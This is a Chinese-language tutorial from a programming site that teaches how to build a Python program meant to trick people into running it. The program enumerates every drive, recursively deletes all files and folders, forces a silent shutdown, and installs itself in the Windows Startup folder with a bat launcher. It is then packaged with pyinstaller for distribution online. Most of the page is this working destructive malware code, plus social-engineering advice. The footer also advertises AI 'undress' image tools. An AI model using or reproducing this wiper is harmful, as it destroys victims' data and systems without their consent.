首頁 後端開發 Python教學 使用Python一鍵刪除全碟檔案自動關機並留後門

使用Python一鍵刪除全碟檔案自動關機並留後門

Jul 25, 2023 pm 03:50 PM
python

今天我們要做的案例是怎麼利用Python做一個hacker軟體。

眾所周知,一般的Hacker對於黑操作系統一般常用手法莫過於發送木馬客戶端,修改系統註冊表。

群組策略,取得開機啟動權限,入侵電腦然後對電腦的檔案進行修改以達到不可告人的目的。

今天我們要講的就是最基礎的,怎樣獲得開機啟動,先給大家講最基礎添加文件到系統啟動項的資料夾中,當然更加高端點也可以使用註冊表添加,這裡不在累述。好了,下面開始正題。 。 。 。 。 。


#/實作步驟/

首先我們透過社會工程學進行一個分析,準備一個足夠吸引人的exe檔名稱好讓人第一眼看到就想點擊它的慾望;等到別人點擊了之後了這個程式是沒有任何回應的,那麼有的人也許會多點幾下程序,當然這也對程序沒有任何影響。下面我們來看看:

首先我們得取得系統盤盤符,這個我們可以使用os模組透過對環境變數的字典鍵值來得到目前系統碟盤符。    

#
import os
print(os.getenv('SystemDrive'))
登入後複製

使用Python一鍵刪除全碟檔案自動關機並留後門

得到盘符后我们先可以将他的目录下的文件和文件夹打印出来

aa=os.getenv('SystemDrive')
os.chdir(aa+'\\\\') \#修改当前目录
os.system('tree\>\>1.txt') 打印树形目录并将其结果保存到1.txt文件中
登入後複製

使用Python一鍵刪除全碟檔案自動關機並留後門

使用Python一鍵刪除全碟檔案自動關機並留後門

使用Python一鍵刪除全碟檔案自動關機並留後門

然后我们只需要删除盘符下的文件夹和文件即可

所以我们需要用到 os 的walk遍历当前盘符下的所有文件,然后使用remove方法和rmdir方法,一个是删除文件另一个是删除目录

好了。我们开始吧,由于没有虚拟机于是自己创建一个目录放了若干文件夹和文件,效果都一样

path = r"C:\\Users\\Administrator\\Desktop\\sa"
登入後複製

os.walk() 方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。

os.walk()方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。

语法:

os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])

参数:

top -- 根目录下的每一个文件夹(包含它自己), 产生3-元组 (dirpath, dirnames,filenames) 【文件夹路径, 文件夹名字, 文件名】。

topdown --可选,为True或者没有指定,一个目录的的3-元组将比它的任何子文件夹的3-元组先产生 (目录自上而下)。

如果topdown为 False, 一个目录的3-元组将比它的任何子文件夹的3-元组后产生(目录自下而上)。

onerror -- 可选,是一个函数; 它调用时有一个参数,一个OSError实例。报告这错误后,继续walk,

或者抛出exception终止walk。

for root,dirs,files in os.walk(path,topdown=False):
    \#遍历目录
    for name in files:
        os.remove(os.path.join(root, name))


    for name in dirs:
        os.rmdir(os.path.join(root, name))
登入後複製

使用Python一鍵刪除全碟檔案自動關機並留後門

使用Python一鍵刪除全碟檔案自動關機並留後門

使用Python一鍵刪除全碟檔案自動關機並留後門

其实还有一种方法,就是shutil.rmtree(path),但是它会删除目录本身及所有子文件夹和文件,也就是说他会删除sa这个目录,所以不推荐这种搞法,因为我们要删除的是盘符下的文件夹或者文件,这样做很容易导致未知的错误

得到了系统盘符之后,我们还想得到系统其它盘符那该怎么办了,不着急,我们可以试试下面这种方法。

import os
import string


def get_pan():
    disk_list=[] \#磁盘盘符列表
    for p in string.ascii_uppercase: \#遍历所有大写字母
    disk=p+':'
    if os.path.isdir(disk): \#看磁盘盘符名用了哪些大写字母开头
            disk_list.append(disk) \#添加到盘符列表
    return disk_list
print(get_pan()) #打印盘符
登入後複製

使用Python一鍵刪除全碟檔案自動關機並留後門

使用Python一鍵刪除全碟檔案自動關機並留後門

结果很完美,跟我预想的一模一样,连u盘盘符也打印出来了~

光打印一个磁盘目录文件好像显得有点美中不足,于是我决定吧所有磁盘目录文件都整出来,老样子,还是树形结构。

使用Python一鍵刪除全碟檔案自動關機並留後門

使用Python一鍵刪除全碟檔案自動關機並留後門

使用Python一鍵刪除全碟檔案自動關機並留後門

这样每个盘的目录结构就都保存在对应盘的2.txt文件中了。

然后我们将会把这些盘符下的目录文件全部删除,当然遍历删除啦,为了模拟真实场景我决定用几个带有多层文件和目录的文件夹来代替盘符,这里我就不一一截图了,直接上代码,老样子

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']


for y in g:
    for root, dirs, files in os.walk(y,topdown=False):\#遍历目录
        for name in files:
            os.remove(os.path.join(root, name))
        for name in dirs:
            os.rmdir(os.path.join(root, name))
登入後複製

ok,我们已经将文件及目录全部删除。

删除文件后了系统自然无法正常运行,于是这个时候我们可以使电脑关机,shutdown ,我的不二选择,它的方法有很多,用法:

shutdown [/i | /l | /s | /sg | /r | /g | /a | /p | /h | /e | /o][/hybrid] [/soft] [/fw] [/f]
/m \computer[/d [p|u:]xx:yy [/c “comment”]]
登入後複製

没有参数 显示帮助。这与键入 /? 是一样的。

/? 显示帮助。这与不键入任何选项是一样的。
/i 显示图形用户界面(GUI)。这必须是第一个选项。
/l 注销。这不能与 /m 或 /d 选项一起使用。
/s 关闭计算机。
/sg 关闭计算机。在下一次启动时,重启任何注册的应用程序。
/r 完全关闭并重启计算机。
/g 完全关闭并重新启动计算机。在重新启动系统后,重启任何注册的应用程序。
/a 中止系统关闭。这只能在超时期间使用。
与 /fw 结合使用,以清除任何未完成的至固件的引导。
/p 关闭本地计算机,没有超时或警告。可以与 /d 和 /f 选项一起使用。
/h 休眠本地计算机。可以与 /f 选项一起使用。
/hybrid 执行计算机关闭并进行准备以快速启动。必须与 /s 选项一起使用。
/fw 与关闭选项结合使用,使下次启动转到固件用户界面。
/e 记录计算机意外关闭的原因。
/o 转到高级启动选项菜单并重新启动计算机。
必须与 /r 选项一起使用。
/m \\computer 指定目标计算机。
/t xxx 将关闭前的超时时间设置为 xxx 秒。
有效范围是 0-315360000 (10 年),默认值为 30。
如果超时时间大于 0,则默示为/f 参数。
/c "comment" 有关重新启动或关闭的原因的注释。最多允许 512 个字符。
/f 强制关闭正在运行的应用程序而不事先警告用户。
如果为 /t 参数指定大于 0 的值,则默示为 /f 参数。
/d [p|u:]xx:yy 提供重新启动或关闭的原因。
p 指示重启或关闭是计划内的。
u 指示原因是用户定义的。
如果未指定 p 也未指定 u,则重新启动或关闭是计划外的。
xx 是主要原因编号(小于 256 的正整数)。
yy 是次要原因编号(小于 65536 的正整数)。
登入後複製

所以我们得调用os.popen('shutdown /f /sg'),这样就可以在没有任何提示下关机了,神不知鬼不觉,哈哈哈,当然这个操作得是基于文件操作结束后进行的,再次进行优化

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']


for y in g:
  try:
          #遍历目录
          for root, dirs, files in os.walk(y,topdown=False):
              for name in files:
                  os.remove(os.path.join(root, name))
              for name in dirs:
                  os.rmdir(os.path.join(root, name))
                  time.sleep(1)
  
  except Exception:
          pass
  
  finally:
          os.popen('shutdown /f /sg')\#不弹出黑窗口
登入後複製

我们把程序发到网上运气好别人点击了,得让那个文件在自启动目录然后每次开机那个程序才会跟着启动啊,但是你想让别人把那个文件放到启动目录里去,做梦呢?这些操作当然交给万能的Python就能一步搞定啦。我们可以在点击这个文件之后快速生成一个bat文件和一个EXE文件或者Python文件。

在这里我以Python 和bat为主,因为我还没打包的缘故。

自启动目录路径:
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
import shutil
shutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\Start
Menu\\Programs\\StartUp\\gc1.py')
登入後複製

在这里我们用到shutil这个模块,专门操作文件目录的Copyfile方法是将当前资源文件复制到另一个目录下的文件,但是需要注意一点的是,两个文件名不可一样,否则会报错,虽然它可以复制,如果你非得用这个方法,记得抛异常。好了,现在可以了:

使用Python一鍵刪除全碟檔案自動關機並留後門

使用Python一鍵刪除全碟檔案自動關機並留後門

使用Python一鍵刪除全碟檔案自動關機並留後門

然后我们还需要一个bat来启动它,因为没有bat它是需要借助外力去点击才有效果的,有了bat就可以自动启动。

建立一个后缀为bat的文件,内容如下:

使用Python一鍵刪除全碟檔案自動關機並留後門

同樣的。我們還是需要我們的Python來智慧產生bat檔那麼該怎麼寫了,很簡單,有人問我為什麼是pythow不是Python,因為前者運行後沒有黑窗口,當然不管是創建bat檔還是複製程式檔都最好在刪除之後調用,有人問我,你的檔案都刪除完了,留那一個有何用,哈啊哈哈,我只能說,僅供娛樂。 。 。

回到正題,程式檔案只要建立一個就ok。

使用Python一鍵刪除全碟檔案自動關機並留後門

使用Python一鍵刪除全碟檔案自動關機並留後門

這樣就算是大功告成了,然後我們也可以把Python檔打包,這樣bat檔裡就不需要寫解釋器了,因為有的目標電腦可能沒有Python環境,這個時候需要我們用pyinstaller打包。打包好了之後,直接把bat檔內容改為start gc.exe就可以了。

打包成exe檔之後了,就可以發佈到網路上裝X啦,哈哈哈~

以上是使用Python一鍵刪除全碟檔案自動關機並留後門的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

PHP和Python:解釋了不同的範例 PHP和Python:解釋了不同的範例 Apr 18, 2025 am 12:26 AM

PHP主要是過程式編程,但也支持面向對象編程(OOP);Python支持多種範式,包括OOP、函數式和過程式編程。 PHP適合web開發,Python適用於多種應用,如數據分析和機器學習。

在PHP和Python之間進行選擇:指南 在PHP和Python之間進行選擇:指南 Apr 18, 2025 am 12:24 AM

PHP適合網頁開發和快速原型開發,Python適用於數據科學和機器學習。 1.PHP用於動態網頁開發,語法簡單,適合快速開發。 2.Python語法簡潔,適用於多領域,庫生態系統強大。

Python vs. JavaScript:學習曲線和易用性 Python vs. JavaScript:學習曲線和易用性 Apr 16, 2025 am 12:12 AM

Python更適合初學者,學習曲線平緩,語法簡潔;JavaScript適合前端開發,學習曲線較陡,語法靈活。 1.Python語法直觀,適用於數據科學和後端開發。 2.JavaScript靈活,廣泛用於前端和服務器端編程。

PHP和Python:深入了解他們的歷史 PHP和Python:深入了解他們的歷史 Apr 18, 2025 am 12:25 AM

PHP起源於1994年,由RasmusLerdorf開發,最初用於跟踪網站訪問者,逐漸演變為服務器端腳本語言,廣泛應用於網頁開發。 Python由GuidovanRossum於1980年代末開發,1991年首次發布,強調代碼可讀性和簡潔性,適用於科學計算、數據分析等領域。

vs code 可以在 Windows 8 中運行嗎 vs code 可以在 Windows 8 中運行嗎 Apr 15, 2025 pm 07:24 PM

VS Code可以在Windows 8上運行,但體驗可能不佳。首先確保系統已更新到最新補丁,然後下載與系統架構匹配的VS Code安裝包,按照提示安裝。安裝後,注意某些擴展程序可能與Windows 8不兼容,需要尋找替代擴展或在虛擬機中使用更新的Windows系統。安裝必要的擴展,檢查是否正常工作。儘管VS Code在Windows 8上可行,但建議升級到更新的Windows系統以獲得更好的開發體驗和安全保障。

visual studio code 可以用於 python 嗎 visual studio code 可以用於 python 嗎 Apr 15, 2025 pm 08:18 PM

VS Code 可用於編寫 Python,並提供許多功能,使其成為開發 Python 應用程序的理想工具。它允許用戶:安裝 Python 擴展,以獲得代碼補全、語法高亮和調試等功能。使用調試器逐步跟踪代碼,查找和修復錯誤。集成 Git,進行版本控制。使用代碼格式化工具,保持代碼一致性。使用 Linting 工具,提前發現潛在問題。

notepad 怎麼運行python notepad 怎麼運行python Apr 16, 2025 pm 07:33 PM

在 Notepad 中運行 Python 代碼需要安裝 Python 可執行文件和 NppExec 插件。安裝 Python 並為其添加 PATH 後,在 NppExec 插件中配置命令為“python”、參數為“{CURRENT_DIRECTORY}{FILE_NAME}”,即可在 Notepad 中通過快捷鍵“F6”運行 Python 代碼。

sublime怎麼運行代碼python sublime怎麼運行代碼python Apr 16, 2025 am 08:48 AM

在 Sublime Text 中運行 Python 代碼,需先安裝 Python 插件,再創建 .py 文件並編寫代碼,最後按 Ctrl B 運行代碼,輸出會在控制台中顯示。

See all articles